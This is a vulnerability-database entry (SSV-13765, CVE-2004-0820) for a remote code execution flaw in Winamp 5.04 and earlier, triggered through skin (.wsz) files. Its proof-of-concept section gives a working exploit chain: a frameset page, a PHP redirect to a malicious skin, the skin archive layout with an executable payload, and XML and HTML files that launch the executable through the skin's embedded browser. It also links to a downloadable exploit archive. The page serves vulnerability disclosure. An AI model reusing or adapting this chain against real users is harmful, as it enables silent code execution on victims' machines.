Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit

Basic Fields

SSV ID:: SSV-13765

Find Time:: Unknown

Submit Time:: 2004-08-25

Level:

Category:: 代码执行

Component:: Winamp

Author:: Unknown

Submitter:: Knownsec

CVE-ID：: CVE-2004-0820

CNNVD-ID：: CNNVD-200408-224

CNVD-ID：: Add

ZoomEye Dork：: Add

Source

Detail

Unavailable Detail

PoC (非 pocsuite 插件)

Contributor Knownsec totally have 0.05KB

This 0day exploit is known to be circulating in the wild There is no patch for this vulnerability -> Do not use Winamp ! http://www.milw0rm.com/sploits/skinhead.rar (171 Ko) index.html ----------- <html> <head> </head> <frameset rows="*,1" framespacing="0" border="0" frameborder="NO"> <frame src="load.php" name="frame_content" scrolling="auto" noresize> </frameset> <noframes> <body> </body> </noframes> </html> Load.php --------- <?php $httpref = $HTTP_REFERER; header("Location: http://URL/foo.wsz"); ?> foo.wsz (foo.zip) ----------------- /frame/ /maki/ /shade/ /html/ /html/file.exe (malicious file to execute) /html/test.htm (html to load the .exe) /player/ /player/Thumbs.db /xml/ /xml/includes.xml /xml/player-normal.xml /xml/player.xml /skin.xml /html/test.htm ---------------- <html> <OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'> </html> /xml/includes.xml ------------------- <include file="player.xml"/> /xml/player-normal.xml ------------------------- <layout> <browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" /> </layout> /xml/player.xml ----------------- <container id="main" name="main"> <include file="player-normal.xml"/> </container> /skin.xml --------- <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <WinampAbstractionLayer version="1.1"> <skininfo> <version>1.0</version> <name>Batman</name> <comment></comment> <author>Petrol Designs</author> <email>info@petroldesigns.com</email> <homepage>http://www.petroldesigns.com</homepage> </skininfo> <include file="xml/includes.xml"/>  </WinampAbstractionLayer> // sebug.net

have 3 Exchange

Reference Linking

Solutions

Temp Solutions

Official Solution

Defense Solutions

※Any content provided by this site, only to learn the code and services, not for illegal purposes

Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit

Basic Fields

Source

Detail

PoC (非 pocsuite 插件)

Reference Linking

Solutions

Timeline

Related Vuls

Need to bind phone before comment. Bind Now

Unavailable Comments

Winamp &lt;= 5.04 Skin File (.wsz) Remote Code Execution Exploit

Basic Fields

Source

Detail

PoC (非 pocsuite 插件)

Reference Linking

Solutions

Timeline

Related Vuls

Need to bind phone before comment. Bind Now

Unavailable Comments

Hello,

Hello,

Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit